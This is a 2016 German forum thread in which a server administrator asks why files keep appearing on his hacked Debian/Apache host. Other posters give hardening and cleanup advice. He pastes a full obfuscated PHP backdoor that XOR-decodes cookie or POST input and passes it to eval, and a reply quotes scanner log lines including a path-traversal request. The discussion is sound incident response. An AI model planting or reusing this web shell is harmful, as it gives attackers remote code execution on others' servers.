joshuatree
Goto Top

Linux - Debian - Apache - Code injection oder wie man das auch nennt. Brauche Hilfe

Hallo,

ich habe einen Root-Server mit Debian und Apache laufen bei 1und1.

Eigentlich war ich bis vor einem halben Jahr glücklich. Jetzt wurde aber mein Server mehrfach gehackt.
Die Seiten die ich darauf habe wurden soweit alle gereinigt und mehrfach überprüft scheint alles sauber zu sein.

Jetzt habe ich ein paar Platzhalter (leere Ordner) worin nur eine .htaccess mit einem redirect liegt.
Die Verzeichnisse selbst haben 755 bzw sogar nur 700 als recht für den www-data user/Gruppe

Jetzt habe ich gestern weiter aufgeräumt und alles was ich gefunden habe gelöscht, sprich die Ordner waren wirklich leer.

Heute schaue ich auf den Server und siehe da, es liegen mehrere php-Dateien mit fragwürdigem Code darauf
sowas z.B.
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['e3c32a'] = "\x6a\x3e\x3b\x5f\x45\x5e\x4e\x65\x58\x7a\x28\x40\x26\x4a\x35\xa\x62\x38\x31\x23\x73\x71\x34\x20\x7e\x54\x68\x2b\x72\x66\x55\x4d\x2a\x6b\x30\x5c\x7c\x60\x9\x3c\x3a\x6c\x53\xd\x49\x75\x44\x33\x5a\x78\x22\x3f\x29\x2f\x61\x51\x74\x6f\x41\x32\x47\x7d\x4b\x7b\x5d\x50\x25\x79\x27\x36\x56\x43\x2e\x76\x63\x52\x42\x46\x24\x5b\x6e\x57\x59\x64\x39\x6d\x69\x37\x70\x77\x2d\x2c\x21\x4c\x67\x4f\x48\x3d";  
$GLOBALS[$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][59]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][26].$GLOBALS['e3c32a'][28];  
$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]] = $GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][83];  
$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][80];  
$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]] = $GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][56];  
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][74]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][7];  
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7]] = $GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][26].$GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][73].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][80];  
$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][59].$GLOBALS['e3c32a'][7]] = $GLOBALS['e3c32a'][45].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][7];  
$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54]] = $GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][7];  
$GLOBALS[$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][22]] = $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][56];  
$GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][14]] = $GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][84];  
$GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][18];  
$GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84]] = $_POST;  
$GLOBALS[$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17]] = $_COOKIE;  
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][94], NULL);  
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][94].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][28].$GLOBALS['e3c32a'][20], 0);  
@$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][83]]($GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][49].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][49].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][45].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][80].$GLOBALS['e3c32a'][3].$GLOBALS['e3c32a'][56].$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][85].$GLOBALS['e3c32a'][7], 0);  
@$GLOBALS[$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][22]](0);  

$r568 = NULL;
$o9d385d64 = NULL;

$GLOBALS[$GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16]] = $GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][7].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][22].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][18];  
global $pb98b;

function c47e1($r568, $w4a64a6b)
{
    $if0a73a = "";  

    for ($z73b58811=0; $z73b58811<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($r568);)  
    {
        for ($t6cd=0; $t6cd<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($w4a64a6b) && $z73b58811<$GLOBALS[$GLOBALS['e3c32a'][86].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][17]]($r568); $t6cd++, $z73b58811++)  
        {
            $if0a73a .= $GLOBALS[$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][59]]($GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]]($r568[$z73b58811]) ^ $GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][34]]($w4a64a6b[$t6cd]));  
        }
    }

    return $if0a73a;
}

function ic659($r568, $w4a64a6b)
{
    global $pb98b;

    return $GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]]($GLOBALS[$GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][34]]($r568, $pb98b), $w4a64a6b);  
}

foreach ($GLOBALS[$GLOBALS['e3c32a'][9].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][14].$GLOBALS['e3c32a'][17]] as $w4a64a6b=>$zfca)  
{
    $r568 = $zfca;
    $o9d385d64 = $w4a64a6b;
}

if (!$r568)
{
    foreach ($GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][84]] as $w4a64a6b=>$zfca)  
    {
        $r568 = $zfca;
        $o9d385d64 = $w4a64a6b;
    }
}

$r568 = @$GLOBALS[$GLOBALS['e3c32a'][41].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][74].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][59].$GLOBALS['e3c32a'][7]]($GLOBALS[$GLOBALS['e3c32a'].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][29].$GLOBALS['e3c32a'][14]]($GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][84].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][54]]($r568), $o9d385d64));  
if (isset($r568[$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][33]]) && $pb98b==$r568[$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][33]])  
{
    if ($r568[$GLOBALS['e3c32a'][54]] == $GLOBALS['e3c32a'][86])  
    {
        $z73b58811 = Array(
            $GLOBALS['e3c32a'][88].$GLOBALS['e3c32a'][73] => @$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][83].$GLOBALS['e3c32a'][17].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][7]](),  
            $GLOBALS['e3c32a'][20].$GLOBALS['e3c32a'][73] => $GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][72].$GLOBALS['e3c32a'][34].$GLOBALS['e3c32a'][90].$GLOBALS['e3c32a'][18],  
        );
        echo @$GLOBALS[$GLOBALS['e3c32a'][57].$GLOBALS['e3c32a'][69].$GLOBALS['e3c32a'][16].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][47].$GLOBALS['e3c32a'][18].$GLOBALS['e3c32a'][54].$GLOBALS['e3c32a'][87].$GLOBALS['e3c32a'][74]]($z73b58811);  
    }
    elseif ($r568[$GLOBALS['e3c32a'][54]] == $GLOBALS['e3c32a'][7])  
    {
        eval($r568[$GLOBALS['e3c32a'][83]]);  
    }
    exit();
}

Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Was kann ich tun um das zu verhindern?

Content-ID: 324447

Url: https://administrator.de/contentid/324447

Ausgedruckt am: 22.11.2024 um 10:11 Uhr

Cthluhu
Cthluhu 21.12.2016 um 15:19:42 Uhr
Goto Top
Hi!
Zitat von @JoshuaTree:
Jetzt die Frage wo liegt mein Denkfehler? Ich bin war der Meinung das ich mit diesen Rechten alle ausgesperrt habe auf dieses Verzeichnis unberechtigter Weise zu schreiben.
Du gehts davon aus, dass ein Angreifer über eine deiner Webseite reinkommt und somit die Rechte vom www-data greifen.
Was ist wenn er sich aber schon außerhalb des apaches eingenistet hat und da irgendwas schon mit root-rechten läuft von dem du nichts weißt.

Was kann ich tun um das zu verhindern?
Neu machen. Du weißt nicht wo da was eingenistet wurde.
Bei der gelegenheit gleich alle webseiten-frameworks auf den neuesten stand bringen.

mfg

Cthluhu
JoshuaTree
JoshuaTree 21.12.2016 um 15:24:58 Uhr
Goto Top
Hallo danke für deine Unterstützung,

und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin face-sad

lg
Andreas
Cthluhu
Cthluhu 21.12.2016 um 15:37:30 Uhr
Goto Top
Hi,
Zitat von @JoshuaTree:
und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin face-sad
100% sicher ist man nie.
Ich weiß ja nicht was auf deinem Webserver läuft, aber die typischen Tools wie Joomla, Wordpress, Typo3,... haben immer wieder Sicherheitslücken gehabt und werden in Zukunft auch welche haben. Selbes gilt für die Software des Servers (z.B. den apache, ssh-zugriff).
Aber es hilft in gewissen maß immer up-to-date sein, den Server zu härten und proactiv bekannte Angreifer mit Sperrlisten (eines großen anbieters und/oder mittels fail2ban) zu verwenden.

Kann auch sein, dass dein Admin-Passwort abhanden gekommen ist (oder zu einfach war um einer brute-force attacke standzuhalten).

mfg

Cthluhu
Vision2015
Vision2015 21.12.2016 um 16:02:30 Uhr
Goto Top
nabend...
an deiner stelle würde ich den Server mal vom Netz nehmen, bevor da weiter etwas passiert!

dann solltest du mal einen grundkurs machen... und lange zuhause testen und üben- bevor du mit einem root server auf die digitale welt losgehst!
das sowas eigentlich unverantwortlich ist- siehst du jetzt wohl slber ein!
und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Dachte ja jetzt auch das ich sicher bin

besorg dir einen profi- der dir zeigt- wo es langeht- und lerne von ihm...
dir ist klar, das du persönlich für schäden bei anderen haftbar gemacht wirst !

ich bin für einen Root Server Führerschein...

Frank
aqui
aqui 21.12.2016 aktualisiert um 16:51:04 Uhr
Goto Top
und wie verhindere ich das es dann in Zukunft nicht wieder passiert?
Z.B.
fail2ban
SSH Zugang mit Zertifikat
ICMP Ping und Traceroute über iptables deaktivieren.

Sowas zum Beispiel !
Kollege cthLuhu hat absolut Recht. Neu machen sonst kannst du dir niemals mehr sicher sein !
kaiand1
kaiand1 21.12.2016 um 17:36:09 Uhr
Goto Top
fail2ban ist schon nützlich wenn es auch Richtig Eingestellt ist.
Vermutlich wurden die Logs nicht wirklich mal zwischen durch geprüft.
Du kannst schauen ob in der Zeit wo die Dateien Erstellt wurden in den Logs was zu finden ist.
Sowie ob andere Dienste laufen, Configs verändert wurden ect....
Auch solltest du Wissen was in den WWW Ordner läuft wo die Sicherheitslücke hergekommen ist.
Schau auch ob ggfs der Server als Spamschleuder verwendet wird ect.
Dazu sind die Programme alle auch auf den Aktuellsten Stand oder gabs da Updates die nicht eingespielt wurden wodurch eine Lücke genutzt wurde?
ashnod
ashnod 21.12.2016 um 19:17:53 Uhr
Goto Top
Zitat von @Vision2015:
ich bin für einen Root Server Führerschein...

Moin ...
um den TO mal etwas aufzubauen Seh das mal als rethorische Schelte ...

den Führerschein würden wesentliche größere Kaliber auch nicht bestehen. face-wink

Letztendlich eine Kosten.- / Nutzenfrage.

Neben dem bereits genannten ist eine vollständige und regelmässige Serversicherung
natürlich Gold wert.

Das System immer auf dem laufenden halten.

Logfiles auswerten ist für einen ständigen Überblick wichtig.

Ständige Informationen einholen über bekannte Sicherheitslücken (EMail, RSS-Feeds)

Ansonsten gilt halt "Shit happens", vollständig verhindern lässt sich das nie, dafür sind die Dienste selbst zu fehleranfällig.

Wenn es denn passiert ist, das System in einem möglich sicheren Zustand zurück versetzen und Passwörter ändern ... auch für die Datenbanken etc.

VG
Ashnod
kaiand1
kaiand1 21.12.2016 um 19:45:46 Uhr
Goto Top
Nun viele haben nicht so den Plan und ein Server zu verwalten und viele Hoster machen ja Klick und läuft....
Aber auch jeder hat mal klein Angefangen daher....

Jedenfalls gibt es ja eh dauernd Prüfungen ob der Server ggfs eine Lücke hat und einige sind ja anhand der Logs zu erkennen.
Zudem bringt es auch schon einiges Länder auszusperren...

Aber je nach Webanwendung wie Wordpress & Co sind halt sehr beliebe Ziele...
JoshuaTree
JoshuaTree 21.12.2016 aktualisiert um 22:09:58 Uhr
Goto Top
Hallo und Danke für die Ansätze,

Also was läuft bereits auf dem system!?

Fail2Ban läuft und funktioniert soweit auch jedenfalls werden täglich einige geblockt und zwar für immer!
Postfix und zwar nicht als open Relay.
Best practice für Apache und php habe ich umgesetzt.
Ssl für einige dienste mit lets encrypt
Apache mod_security bin ich gerade am umsetzen

Ach ja und Geo-Filter hatte ich auch schon mal eingebaut aber entsprende Angreifer haben sich dann halt mit IPs angemeldet/versucht welche nicht geblockt waren

Ich habe eine Seite/Domain die ist leer dient nur als Einstiegspunkt hat einen Ordner im /var/www - Vereichnis welcher mit 755 berechtigt ist für www-data .htaccess file ist im Vereichnis. Trotzdem finden ständig Dateien den Weg ins Verzeichnis.
Klar kann man den Server neu machen und versuchen es besser zu machen, aber ich möchte gerne rausfinden wie die php-files ihren Weg dort hin finden.

Und ja ich bin kein Linuxmensch ich komme aus der Windows-Administration ich gestehe
kaiand1
kaiand1 21.12.2016 aktualisiert um 22:36:38 Uhr
Goto Top
Nun du könntest die Loglevel auf Debug stellen damit mehr Infos geschrieben werden.
Jedoch löschen einige auch die Logs wodurch es dann nicht viel Sinn mehr hat....
Fail2ban für immer Bannen nunja... es werden wie du auch andere Server gehackt worüber dann Angriff erfolgen und so sperrst du auch Unbeteiligte aus die mit den Angriff zb nichts zu tun haben und ggfs deine nächsten Kunden werden könnten....
2-3 Tage Ban ist da eher schon OK
Zudem blockst du damit ja auch den Mailverkehr...

Wenn du die Zugriffslogs vom Apache anschaust sollte da sicherlich einige 404 vorkommen sowie einige Muster wo versucht wird die gänigen Scripte zu Prüfen ob die vorhanden sind wie zb
client denied by server configuration: /var/www/
script '/var/www/license.php' not found or unable to stat  
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /x
File does not exist: /var/www/script
File does not exist: /var/www/apps/script
File does not exist: /var/www/jenkins
File does not exist: /var/www/apps/jenkins
File does not exist: /var/www/login
File does not exist: /var/www/apps/login
File does not exist: /var/www/jmx-console
File does not exist: /var/www/apps/jmx-console
File does not exist: /var/www/manager
File does not exist: /var/www/apps/mysqldumper
File does not exist: /var/www/mysqldumper
File does not exist: /var/www/apps/MySQLDumper
File does not exist: /var/www/MySQLDumper
File does not exist: /var/www/mysql
File does not exist: /var/www/apps/mysql
File does not exist: /var/www/sql
File does not exist: /var/www/apps/sql
File does not exist: /var/www/apps/phpMyAdmin
File does not exist: /var/www/phpMyAdmin
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)
File does not exist: /var/www/wordpress, referer: http://xxxxxxxxx.de/wordpress/wp-login.php
Invalid URI in request GET /../../../../../../../mnt/mtd/qt HTTP/1.0
malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php
Da die ja immer versuchen die gängigen Namen zu verwenden hilft da auch schon ein Umbenennen der Scripte/Ordner.
Aber auch Fakescripte an deren Stelle die einen Alarm/Ban Auslösen wäre möglich.

Zudem wer einen Server im Internet Betreibt sollte immer damit Rechnen das dieser gehackt wird da es immer neue Lücken gibt die gefunden werden und bis die Leute dafür einen Patch Fertig haben und dieser auch mal Installiert wird.....
JoshuaTree
JoshuaTree 21.12.2016 um 22:57:00 Uhr
Goto Top
Danke das ist eine gute Idee mit den Fake-files

Ich würde halt gerne wissen mit welcher Schwachstelle sie die Datei einschleusen. Bin eigentlich der Meinung ohne Arme kein Kekse face-smile also ohne Recht kein Zugriff
kaiand1
kaiand1 22.12.2016 um 01:37:10 Uhr
Goto Top
Nun du sagts ja das die Daten dem WWW-User gehörten also hat dies ein Script erstellt das unter dem Apache lief/Ausgeführt wurde.
Da gibt es einige Möglichkeiten zb
Cross Site Scripting
Code Injection
cross-site schutz
Und die Bekannten Scripte für Datenbankverwaltung oder Forum,Blogs ect haben halt viele Scripte für Dateiupload ect.
Eine Funktion zu Coden ist meist einfacher als das ganze gegen mögliche Angriffe abzusichern.
Zumal wenn eine Lücke gestopft werden muss auf die schnelle auch mal eine neue erzeugt werden kann.
JoshuaTree
JoshuaTree 26.12.2016 um 17:20:45 Uhr
Goto Top
xxxxxxxxxxxxxxxxxserver.:~# ps aux | grep apache
root     14585  0.0  0.3 358156 30440 ?        S    Dez25   0:00 /usr/sbin/apache2 -k start
root     14999  0.0  0.3 358156 30440 ?        S    Dez25   0:00 /usr/sbin/apache2 -k start
root     22501  0.0  0.3 358156 30440 ?        S    14:15   0:00 /usr/sbin/apache2 -k start
root     22554  0.0  0.3 358156 30440 ?        S    14:18   0:00 /usr/sbin/apache2 -k start
root     22592  0.0  0.3 358156 30440 ?        S    14:20   0:00 /usr/sbin/apache2 -k start
root     23288  0.0  0.3 358156 30440 ?        S    16:00   0:00 /usr/sbin/apache2 -k start
root     23783  0.0  0.3 358156 30440 ?        S    17:04   0:00 /usr/sbin/apache2 -k start
root     23785  0.0  0.3 358156 30440 ?        S    17:04   0:00 /usr/sbin/apache2 -k start
root     23825  0.0  0.3 358156 30440 ?        S    17:05   0:00 /usr/sbin/apache2 -k start
root     23827  0.0  0.3 358156 30440 ?        S    17:05   0:00 /usr/sbin/apache2 -k start
root     23942  0.0  0.0  11740   936 pts/0    S+   17:15   0:00 grep apache
root     30914  0.0  0.4 358124 39896 ?        Ss   Dez24   0:08 /usr/sbin/apache2 -k start

Hallo schaut mal für mich sieht das aus als würde Apache als root laufen. Wenn ich jedoch eine php.-seite mit whoami aufrufe erhalte ich wie ich es erwarten würde www-data als usercontext.
Warum läuft hier intern der Apache scheinbar als Root?
kaiand1
kaiand1 26.12.2016 um 17:26:14 Uhr
Goto Top
Jo läuft als root.
eigentlich müsste Links www-data stehen.
Entweder Einrichtungsfehler oder ein Erfolgreicher Hack der dies geändert hat.
Jedenfalls bleibt nur ein Neuaufsetzten da unbekannt ist wieviel am ganzen System ggfs geändert wurde und daher noch weitere möglichkeiten gibt....
JoshuaTree
JoshuaTree 26.12.2016 um 17:39:04 Uhr
Goto Top
Ok da mit dem neu aufsetzen ist jetzt klar.

Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.

wie kann ich den Prozess wieder als www-data starten.

in der datei envvars steht eigentlich der richtige User drin

export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
Vision2015
Vision2015 26.12.2016 aktualisiert um 18:42:34 Uhr
Goto Top
Zitat von @JoshuaTree:

Ok da mit dem neu aufsetzen ist jetzt klar.
das hoffe ich mal...

Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.

wie kann ich den Prozess wieder als www-data starten.
nun, da möchte ich nix zu sagen, ich sehe nämlich das du dann das System eben NICHT neu einrichtest!
das hättest du nämlich schon längst tun müssen! die kiste weiterlaufen zu lassen halte ich für UNVERANTWORTLICH
nicht das ich um deine Daten besorgt bin- Nein, ich denke eher an andere Server!!!

in der datei envvars steht eigentlich der richtige User drin

export APACHE_RUN_USER=www-data
> export APACHE_RUN_GROUP=www-data
> 
Frank
kaiand1
kaiand1 26.12.2016 um 22:41:46 Uhr
Goto Top
Zitat von @JoshuaTree:

Ok da mit dem neu aufsetzen ist jetzt klar.

Dann mach den Server in Runlevel 2 und sichere deine Daten wobei die Aktuellen Daten auch verändert/Infiziert worden sein können und daher auch Sicherheitslücken haben können für eine neue Infizierung....

Möchte versuchen zu verstehen wie und wo ich den Fehler gemacht habe und vergessen habe die Tür zu schließen.

Nun da die Einstellung beim Einrichten und Laufzeit Unbekannt ist kann man nichts dazu sagen.
Es sind viele Möglichkeiten zudem da das System kompromittiert ist werden die auch einiges geändert haben und solange du nicht 100% sagen kannst wie wo wann was woher gemacht wurde ist alles andere nur ein Ratespiel.

wie kann ich den Prozess wieder als www-data starten.

Das wird dir nichts mehr nützten da wenn die schon einmal Rootrechte erlangt haben werden die gleich noch eine/mehrere Backdoors Installiert haben falls der eine Zugang wegfällt.
